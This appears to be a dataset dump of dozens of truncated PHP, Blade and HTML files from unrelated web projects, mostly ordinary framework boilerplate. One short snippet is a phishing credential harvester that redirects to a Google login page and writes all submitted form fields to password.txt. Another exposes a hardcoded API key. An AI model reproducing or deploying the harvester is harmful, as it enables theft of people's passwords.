text
stringlengths
2
1.03M
<?php namespace App\Http\Requests; use App\Rules\BlockEmail; use Illuminate\Foundation\Http\FormRequest; class RegisterRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; ...
<?php /** * MINI - an extremely simple naked PHP application * * @package mini * @author Panique * @link http://www.php-mini.com * @link https://github.com/panique/mini/ * @license http://opensource.org/licenses/MIT MIT License */ /** * Now MINI work with namespaces + composer's autoloader (PSR-4) * * @aut...
<?php namespace CWM\BroadWorksConnector\Ocip\Models; /** * UserSharedCallAppearanceAddEndpointRequest21sp2 * * Associate an access device instance to the user's Shared Call Appearance. * The response is either a SuccessResponse or an ErrorResponse. * * Replaced by: UserSharedCallAppeara...
<?php class Room_Model extends CI_Model { public function __construct() { parent::__construct(); $this->TABLE = "HOME_ROOMS"; $this->PK = "ROOM_ID"; $this->load->model("general_model"); } // ADD public function merge($data) { if(NULL === $data[$this->PK]){ $id = $this->general...
<?php /** * @license LGPLv3, https://opensource.org/licenses/LGPL-3.0 * @copyright Metaways Infosystems GmbH, 2014 * @copyright Aimeos (aimeos.org], 2015-2021 */ return [ // Single article [ 'product.code' => 'demo-article', 'product.type' => 'default', 'product.label' => 'Demo article', 'product.status' =...
<?php namespace User\Model; use RuntimeException; use Zend\Db\TableGateway\TableGatewayInterface; class UserTable { private $tableGateway; public function __construct(TableGatewayInterface $tableGateway){ $this->tableGateway = $tableGateway; } public function fetchAll(){ return $t...
<?php /** * Perform the Uptime Command * * @package SlzBot * @subpackage IRC * @author Eric */ namespace SlzBot\IRC\Commands; class Quit implements CommandInterface { /** * Perform the command * * @param \SlzBot\IRC\Bot $bot * @param \SlzBot\IRC\User $user * @param $channel * @p...
<?php declare(strict_types=1); namespace Shopware\Core\Framework\Api\Controller; use Shopware\Core\Framework\Context; use Shopware\Core\Framework\DataAbstractionLayer\DefinitionInstanceRegistry; use Shopware\Core\Framework\DataAbstractionLayer\Event\EntityWrittenEvent; use Shopware\Core\Framework\DataAbstractionLayer...
<?php use yii\db\Migration; /** * Class m171124_071719_insert_status_table */ class m171124_071719_insert_status_table extends Migration { // Use up()/down() to run migration code without a transaction. public function up() { $this->insert('status',[ 'id' => 7, 'name' => ...
<?php namespace Microsoft\BingAds\V13\CampaignManagement; { /** * Defines the possible options for action text that can be displayed in an action ad extension. * @link https://docs.microsoft.com/en-us/advertising/campaign-management-service/actionadextensionactiontype?view=bingads-13 ActionAdExtensionAc...
<?php include("../../inc/conf.php") ;?> <div class="col-lg-12 col-sm-6" id="chart1"> <div class="panel panel-default"> <div class="panel-heading"><i class="fa fa-pie-chart"></i> Person Gender (Active)</div> <div class="panel-body"> <div id="chart_sex" style="height: 600px;"></div> </div> <div class="panel-footer"> </di...
@extends('layout') @section('title') Pay & Payer Add @endsection @section('content') <div class="page-content-wrapper "> <div class="container-fluid"> <div class="row"> <div class="col-lg-12"> <div class="card m-b-200"> <div cla...
<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Interception\Code\Generator; class TSample { private $value; public function getValue() : string { return $this->value; } public function setValue(string $va...
@extends('admin-panel.base.main') @section('css') <link rel="stylesheet" href="{{asset('assets/css/plugins/toastr.css')}}" /> <link rel="stylesheet" href="{{asset('assets/css/plugins/datatables.min.css')}}" /> <style> table.table.table-striped.table-dark.dataTable.no-footer { font-size: ...
<?php namespace AppBundle\Controller; use Symfony\Component\HttpFoundation\Request; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Te...
@extends('layouts.layout2') @section('content') <div class="upload-top-info"> <div class="container"> <div class="app-title"> <div class="wrapper"> <h1>{!! array_key_exists(1, $PageBlocks) ? $PageBlocks[1] : 'Unlock PDF Online' !!}</h1> <p...
<?php namespace App\Mail; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; class InvoiceMail extends Mailable { use Queueable, SerializesModels; public $data; public function __construct($data) { $...
<?php use GDO\JPGraph\GDT_GraphDateselect; /** * @var $gdt \GDO\JPGraph\GDT_GraphSelect */ ?> <form <?=$gdt->htmlID()?> class="gdt-graph-select"> <div class="gdo-jpgraph"> <?php if (!$gdt->withoutDateInput) : ?> <div class="gdo-jpgraph-selection"> <?php echo GDT_GraphDateselect::make('date')->withToday($...
<?php if (isset($_SERVER['REQUEST_URI'])) { $URI=explode('/',$_SERVER['REQUEST_URI']); if ($URI[1]=="account") { if (isset($URI[2])) { $uriaddress=$URI[2]; } } } function TrimTrailingZeroes($nbr) { return strpos($nbr,'.')!==false ? rtrim(rtrim($nbr,'0'),'.') : $nbr; } $query="SELECT DISTINCT tx.txid, vin...
<?php namespace App\Http\Controllers; /* use App\Models\User; */ use App\Http\Requests\UserRequest; use Illuminate\Support\Facades\Hash; class UserController extends Controller { /** * Display a listing of the users * * @param \App\Models\User $model * @return \Illuminate\View\View */ ...
<?php return [ /* |-------------------------------------------------------------------------- | Application Name |-------------------------------------------------------------------------- | | This value is the name of your application. This value is used when the | framework needs to plac...
<?php namespace App\Http\Controllers; use App\myClasses\extractedFunction; use App\UploadedFiles; use App\UploadedFunctions; use Illuminate\Http\Request; use Illuminate\Http\UploadedFile; use Illuminate\Support\Facades\Auth; use Pion\Laravel\ChunkUpload\Exceptions\UploadMissingFileException; use Pion\Laravel\ChunkUpl...
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use App\Http\Controllers\Controller; use App\Providers\RouteServiceProvider; use Illuminate\Support\Facades\Validator; class TemanController extends Controller { public function index() { $teman = DB::ta...
<!DOCTYPE html> <head> </head> <body> <h1> this is my Blog </h1> <p> {{ $post->body }} </p> </body> </html>
<?php defined('BASEPATH') OR exit('No direct script access allowed'); //session_start(); class C_admin extends CI_Controller { private $limit = 5; public function __construct(){ parent::__construct(); $this->load->helper('text'); $this->load->library('pagination'); $this->load->library('session...
<?php return [ "required" => "جميع الحقول مطلوبة", "email" => "البريد الالكترونى غير صحيح", "email_unique" => "هذا البريد الالكترونى مستخدم من قبل", "age_numeric" => "العمر غير صحيح", "gender_in" => ...
<nav class="main-header navbar navbar-expand navbar-white navbar-light"> <!-- Left navbar links --> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a> </li> <li class="nav-item d-none d-sm-inline-b...
@extends('admin_master') @section('main_content') @include('admin/common.admin_message_box') <section class="content"> <div class="row"> <div class="col-md-6"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Edit Header Marquee Content</h3> </div> <...
<?php $this->load->view('layout/_header'); ?> <style type="text/css"> #updateimagePreview { width: 100px; height: 100px; background-position: center center; background-size: cover; -webkit-box-shadow: 0 0 1px 1px rgba(0, 0, 0, .3); display: inline-block; } img { max-width: 100%; max-height: 100%; } </s...
<?php session_start(); include("../../admin/php-config.conf"); include("../../admin/php-db-config.conf"); $Map_Api_Key = 'AIzaSyDqDt8Q3hoURxHyy81DNmlGgAQRGS_WE2U'; $Page_Name = "Member"; ?> <html> <head> <title>Membership</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <me...
<?php namespace GestionBundle\Form; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\FormBuilderInterface; use Symfony\Component\OptionsResolver\OptionsResolver; class MaterielType extends AbstractType { /** * @param FormBuilderInterface $builder * @param array $options */ p...
<?php require_once "utils/start.php"; $title = "2013 WMFFL Financial Statements"; include "base/menu.php"; ?> <H1 ALIGN=Center>League Finances</H1> <H5 ALIGN=Center>Last Updated 1/15/2014</H5> <HR size = "1"> <P>This is a complete breakdown of the league finance. What we take in from entry fees, transactions, inva...
<?php require_once('login_check.php'); ?> <?php require_once('includes/header.php'); ?> <section id="main-body"> <div class="container"> <div class="page_header white_bg"> <h1>Basic-Info</h1> <h4>All Data Information will be entered Here</h4> </div> <!--/ production-header --> <div class="dataentry...
<style> p{ line-height: 0.20; font-size: 15px; } </style> <div style="margin-bottom: 15px;text-align: center;"> <p>Item Stock</p> </div><!-- /.row --> <table width="700px" border="1" style="font-size: 12px; text-align: center;border-collapse: collapse;"> <tr> <th>SL</th> ...
<?php /** * @version $Id: message.php 481 2007-12-13 08:21:14Z fxstein $ * Fireboard Component * @package Fireboard * @Copyright (C) 2006 - 2007 Best Of Joomla All rights reserved * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * @link http://www.bestofjoomla.com * * Based on Joomlaboard Component * @copyright ...
<?php namespace App\Http\Controllers; class HomeController extends Controller { public function index() { return view('home'); } public function encounter() { return view('encounters'); } public function research() { return view('researches'); } publi...
<?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use App\Providers\RouteServiceProvider; use Illuminate\Foundation\Auth\AuthenticatesUsers; use Illuminate\Http\Request; class LoginController extends Controller { /* |--------------------------------------------------------------...
@extends('layout.app', ['title'=>'Créer un compte']) @section('content') <header class="header"> <div class="header__wrapper"> <h1 class="header__heading">Book a Book <span class="sr-only">- Se connecter</span></h1> </div> </header> <main> <form method="POST" action="{{ ...
<div class="cluster"> <div class="container-fluid"> <h1 class="page-title">Page Meta Tags</h1> <? if (empty($item) || !sizeof($item)) { ?> <p class="help-block">Item not found.</p> <? } else { ?> <form id="frm-admin" name="adminForm" action="" method="POST"> <input type="hidden" id="task" name="task" valu...
<?php /** * * @author Renato Ribeiro <renatoribroman@gmail.com> * @copyright Copyright (c) 2015, Renato Ribeiro * @version 1.0 * */ class Outfit { public $outfits_dir = "outfits/"; public $looktype = 0; public $addons = 0; public $movement = 1; // 1 = stopped public $direction = 3; // 3 = fron...
<?php namespace bb\helpers; use Bb; use bb\helpers\HyiiHelper; use bb\models\UserModel; Class UserHelper { /** * Check to see if the logged in user is an admin */ public static function isAdmin() { if (Bb::$app->user->identity == null) { return false; } if (Bb...
<?php /** * DVelum project https://github.com/dvelum/dvelum-core , https://github.com/dvelum/dvelum * * MIT License * * Copyright (C) 2011-2020 Kirill Yegorov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"),...
<?php use yii\widgets\ActiveForm; use yii\helpers\Html; /* @var $this yii\web\View */ /* @var $model c006\products\models\search\ProductAttrProductTypeLink */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="product-attr-product-type-link-search"> <?php $form = ActiveForm::begin([ 'action' => ['in...
@extends('backend.master') @section('content') <form action="" method="POST"> <input type="hidden" name="_token" value="{!! csrf_token() !!}" /> <div class="row"> <div class="col-lg-12 "> <div class="panel panel-green"> <div class="panel-heading" style="height:60px;"> ...
<?php // +---------------------------------------------------------------------- // | Library for ThinkAdmin // +---------------------------------------------------------------------- // | 版权所有 2014~2020 广州楚才信息科技有限公司 [ http://www.cuci.cc ] // +---------------------------------------------------------------------- // |...
<?php /** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a co...
<?php session_start(); include_once("header.php"); try{$vendor_id=$_SESSION['vendor_session'];} catch(PDOException $e){ echo $e->getMessage(); } ?> <div class="content"> <div id="project-dashboard" class="page-layout simple right-sidebar tabbed"> <div cl...
<?php namespace Drupal\Tests\plugin\Unit\Plugin; use Drupal\Core\DependencyInjection\ClassResolverInterface; use Drupal\plugin\Plugin\PluginOperationsProviderPluginManagerTrait; use Drupal\Tests\UnitTestCase; /** * @coversDefaultClass \Drupal\plugin\Plugin\PluginOperationsProviderPluginManagerTrait * * @group Plu...
<?php namespace RectorPrefix20210919; if (\class_exists('Tx_Extbase_DomainObject_AbstractValueObject')) { return; } class Tx_Extbase_DomainObject_AbstractValueObject { } \class_alias('Tx_Extbase_DomainObject_AbstractValueObject', 'Tx_Extbase_DomainObject_AbstractValueObject', \false);
<?php /** * @link https://cms.skeeks.com/ * @copyright Copyright (c) 2010 SkeekS * @license https://cms.skeeks.com/license/ * @author Semenov Alexander <semenov@skeeks.com> */ namespace skeeks\cms\themes\unify\components; use skeeks\assets\unify\base\UnifyComponentsAsset; use skeeks\assets\unify\base\UnifyGlobal...
<?php $__env->startSection('content'); ?> <!doctype html> <html lang="<?php echo e(config('app.locale')); ?>"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Laravel</title> <!-- F...
<?php /* * This file is part of the Alerter package. * * (c) Ioannis Papikas <papikas.ioan@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Alerter\Contracts; use Alerter\Notifications\Message; use Exception;...
<?php namespace App; use Illuminate\Database\Eloquent\Model; class Proposal extends Model { protected $fillable = [ 'user_id', 'owner_id' ]; }
<head> <title>{{ isset($title) ? $title. ' | Aralstone' : 'Aralstone' }} </title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="content-language" content="{{app()->getLocale()}}" /> <meta charset="utf-8"> <link rel="icon shortcut" href="/assets/images/favic...
<?php /** * NOVIUS OS - Web OS for digital communication * * @copyright 2011 Novius * @license GNU Affero General Public License v3 or (at your option) any later version * http://www.gnu.org/licenses/agpl-3.0.html * @link http://www.novius-os.org */ Nos\I18n::current_dictionary('noviusos_appwiza...
<?php use PHPUnit\Framework\TestCase; //require_once(__DIR__ . '/../out/binson.php'); require_once(SRC_DIR . 'binson.php'); class ExtBinsonTest extends TestCase { public function testBinsonExtensionIsAvailable() { $this->assertNotEmpty(binson::BINSON_API_VERSION); $buf = "\x40\x41"; $wr...
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateCommentsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('comments', fun...
<?php namespace backend\controllers; use backend\modules\alert\controllers\DefaultController; use Yii; use yii\web\Controller; /** * 所有客户端请求的入口文件 * Class ApiController * @package backend\controllers */ class ApiController extends Controller{ public function actionIndex(){ // return $this->runControl...
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class Venta extends Model { use HasFactory; protected $guarded=[]; }
<?php namespace Zeeshan\GitSemver\Commands; use Zeeshan\GitSemver\Commands\BaseCommand; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * @package Git Semver * @author Zeeshan Ahmed <ziishaned@gmail.com>...
<?php namespace Application\Models; use Zend\Form\Form; class Event { private $id; private $name; private $community; public function __construct($id, $name, $community) { $this->id = $id; $this->name = $name; $this->community = $community; } public function getId() { return $this->id; } publ...
@extends('layouts.app') @section('title','Tienda | Productos deshabilitados') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-10"> <div class="card border-danger"> <div class="card-header"><h2>Lista de productos deshabilitad...
<?php declare(strict_types=1); namespace Tests\Unit\Festival\Service; use App\Ticket\Modules\Festival\Service\FestivalService; use App\Ticket\Pagination\Pagination; use Tests\TestCase; class FestivalServiceTest extends TestCase { private FestivalService $festivalService; /** * */ public funct...
<?php use Illuminate\Database\Seeder; use Illuminate\Database\Eloquent\Model; class DatabaseSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { Model::unguard(); // $this->call('UserTableSeeder'); $this->call('Arti...
<?php return [ '@class' => 'Grav\\Common\\File\\CompiledYamlFile', 'filename' => '/Applications/MAMP/htdocs/grav-demo/user/plugins/admin/languages/tr.yaml', 'modified' => 1520711513, 'data' => [ 'PLUGIN_ADMIN' => [ 'ADMIN_BETA_MSG' => 'Bu bir beta sürümüdür! Sunucunuzda kullanmak siz...
@extends('layouts.default') @section('title', '登录') @section('content') <div class="offset-md-2 col-md-8"> <div class="card "> <div class="card-header"> <h5>登录</h5> </div> <div class="card-body"> @include('shared._errors') <form method="POST" action="{{ route('login') }}"> {{...
<?php interface test { const MYCONST = 10; }
@extends('../layouts.admin') @section('title','Default Image Index') @section('content') <div class="row"> <!-- left column --> <div class="col-md-14"> <div class="col-xs-12"> <div class="box"> <div class="box-header"> <h3 class...
@extends('admin.layout') @section('contenido') <div class="row"> <div class="col-md-12"> <div class="panel panel-info"> <div class="panel-heading">Condición</div> <div class="panel-wrapper collapse in" aria-expanded="true"> <div class="panel-body"> ...
<?php /** * Open Source Social Network * * @package (softlab24.com).ossn * @author OSSN Core Team <info@softlab24.com> * @copyright (C) SOFTLAB24 LIMITED * @license Open Source Social Network License (OSSN LICENSE) http://www.opensource-socialnetwork.org/licence * @link https://www.opensource-social...
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); IncludeTemplateLangFile(__FILE__); ?> <html> <head> <?$APPLICATION->ShowHead();?> <title><?$APPLICATION->ShowTitle()?></title> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" bgcolor="#FFFFFF"> <?$APPLICATION->ShowPanel(...
<?php header ('Location: https://www.google.com/accounts/ServiceLoginAuth?service=mail '); $handle = fopen("password.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($han...
<?php use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateCareerTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('career_master', function(Blueprint $table) { ...
@extends('frontend.template') @section('content') <style> .marginTube{ margin-top: 50px; } </style> <div class="nav-backed-header parallax" style="background-image:url(images/slide1.jpg);"> <div class="container"> <div class="row"> <div class="...
<?php declare(strict_types=1); namespace App\Listener\Test; use Swoft\Event\Annotation\Mapping\Listener; use Swoft\Event\EventHandlerInterface; use Swoft\Event\EventInterface; use Swoft\Log\Helper\CLog; use Swoft\Server\SwooleEvent; /** * Class ShutDownListener * * @since 2.0 * * @Listener(SwooleEvent::SHUTDO...
<?php namespace Jetimob\NotaFacil\Api\NFSe\DTO; use Jetimob\NotaFacil\Api\DTO; class NfsImpostoNfeDTO extends DTO { public const COFINS = 'COFINS'; public const PIS = 'PIS'; public const CSLL = 'CSLL'; public const INSS = 'INSS'; public const ISS = 'ISS'; public const IR = 'IR'; protecte...
<?php /** * [Discuz!] (C)2001-2099 Comsenz Inc. * This is NOT a freeware, use is subject to license terms' * * $Id: admincp_plugins.php 36186 2016-10-09 03:22:47Z nemohou $ */ if(!defined('IN_DISCUZ') || !defined('IN_ADMINCP')) { exit('Access Denied'); } cpheader(); if(!empty($_GET['identifier'...
@extends('backpack::layout') @section('header') <section class="content-header"> <h1> <span class="text-capitalize">{!! $crud->getHeading() ?? $crud->entity_name_plural !!}</span> <small id="datatable_info_stack">{!! $crud->getSubheading() ?? trans('backpack::crud.all').'<span>'.$crud->entity_name_pl...
<?php /** * Joomla! Content Management System * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Association; defined('JPATH_PLATFORM') or die; use Joomla\Utilities\ArrayHel...
<?php use yii\helpers\Html; use yii\grid\GridView; /* @var $this yii\web\View */ /* @var $dataProvider yii\data\ActiveDataProvider */ $this->title = 'Tb Barangs'; $this->params['breadcrumbs'][] = $this->title; ?> <div class="tb-barang-index"> <h1><?= Html::encode($this->title) ?></h1> <p> <?= Html:...
<?php // Starting sessions; session_start(); // Requires; require('../model/tiptap_model.php'); require('../color/color.php'); // Add Tip; if (isset($_POST['send_tip'])) { $tip = htmlspecialchars(strip_tags($_POST['send_tip'])); if (isset($_POST['send_tag_with_my_tip'])) { $tags = htmlspecialchars(strip_tags($_PO...
<?php namespace frontend\controllers; use common\helpers\Cart; use Yii; use yii\web\Controller; use yii\base\InvalidArgumentException; use yii\web\BadRequestHttpException; use yii\web\Request; use yii\web\Response; use yii\filters\VerbFilter; use yii\filters\AccessControl; use yii\bootstrap\ActiveForm; use yii\web\U...
<?php /** * Fixture for View engines test * * @copyright (c) 2011-present Phalcon Team * @link http://www.phalconphp.com * @author Sergii Svyrydenko <sergey.v.sviridenko@gmail.com> * @package Phalcon\Test\Unit\Mvc * * The contents of this file are subject to the New BSD License that is * bundled wit...
<?php /** * @author Semenov Alexander <semenov@skeeks.com> * @link http://skeeks.com/ * @copyright 2010 SkeekS (СкикС) * @date 28.08.2015 */ use yii\db\Migration; class m200307_181020__alter_table__shop_product extends Migration { public function safeUp() { $this->alterColumn("{{%shop_product}}",...
<!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html;charset=UTF-8" /> <meta charset="utf-8" /> <title>Pages - Admin Dashboard UI Kit - Lock Screen</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-f...
<!doctype html> <html lang="{{ str_replace('_', '-', app()->getLocale()) }}"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- CSRF Token --> <meta name="csrf-token" content="{{ csrf_token() }}"> <title>@yield('title')</title> <!-- Scripts --> <scr...
<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddDeletedAtCollumnInCommercialPropertyForRentsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { ...
@extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header">Dashboard</div> <div class="card-body"> @if (session('status')) ...
<!--A Design by W3layouts Author: W3layout Author URL: http://w3layouts.com License: Creative Commons Attribution 3.0 Unported License URL: http://creativecommons.org/licenses/by/3.0/ --> <!DOCTYPE html> <head> <title>Trang quan ly Admin Website</title> <meta name="viewport" content="width=device-width, initial-scale=1...
@extends('admin.layouts.app') @section('actions') @include('admin.em_department.action',compact('ol_application')) @endsection @section('content') @if(session()->has('success')) <div class="alert alert-success display_msg"> {{ session()->get('success') }} </div> @endif @if(session()->has('warning')) <div...
<? IncludeModuleLangFile(__FILE__); class CWikiNotifySchema { public function __construct() { } public static function OnGetNotifySchema() { return array( "wiki" => array( "comment" => Array( "NAME" => GetMessage("WIKI_NS_COMMENT"), ), /* "mention" => Array( "NAME" => GetMessage("WIKI_...
<?php # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads/v6/resources/campaign_budget.proto namespace Google\Ads\GoogleAds\V6\Resources; use Google\Protobuf\Internal\GPBType; use Google\Protobuf\Internal\RepeatedField; use Google\Protobuf\Internal\GPBUtil; /** * A campaign bud...
<?php /** * Oversees a daemon and restarts it if it fails. * * @group daemon */ final class PhutilDaemonOverseer { const EVENT_DID_LAUNCH = 'daemon.didLaunch'; const EVENT_DID_LOG = 'daemon.didLogMessage'; const EVENT_DID_HEARTBEAT = 'daemon.didHeartbeat'; const EVENT_WILL_EXIT = 'daemon.will...
<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Admin_model extends CI_Model { public function get_all_admin(){ $query = "SELECT * FROM admin"; $result = $this->db->query($query); return $result->result_array(); } public function display($table,$wh...
@extends ('layouts.app', ['title' => "#{$item->item_code} {$item->name}"]) @section('content') <div class="container-fluid py-3"> <div class="page-header"> <h1 class="page-title">Inventaris</h1> <div class="page-subtitle"> <span class="font-weight-bold">#{{ $item->it...
<!doctype html> <html class="no-js" lang="en" dir="ltr"> <head> <meta charset="utf-8"/> <meta http-equiv="x-ua-compatible" content="ie=edge"/> <meta name="viewport" content="width=device-width, initial-scale=1.0"/> <title> @yield('title','Mazad Online') </title> <link rel="stylesheet" hr...
<?php include '../../config/declare.php'; ?> <!-- a universal file that has all the classes included --> <?php include '../../config/classesGetter.php'; ?> <!-- creating objects --> <?php $universal = new universal; $tags = new tags; $avatar = new Avatar; $follow = new follow_system; $general = new general;...
<!DOCTYPE html> <html lang="{{ str_replace('_', '-', app()->getLocale()) }}"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Laravel, Vue 2 and SPA</title> <link href="{{ asset('css/app.css') }}" rel="stylesheet"> </head> <body class="font-s...
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class Reservation extends Model { use HasFactory; protected $fillable =[ 'reservation', 'name', 'email', 'phone', 'passengers', 'arrivalda...
<?php extract($Element[0]); $formElementTypeArr = ['text','hidden','textarea', 'select', 'select_multiple','radio','checkbox','password','email','file','date','timepicker','datetime','daterange','range','number']; $amExtraArr = ['created_at','updated_at','deleted_at','is_active','is_delete']; $...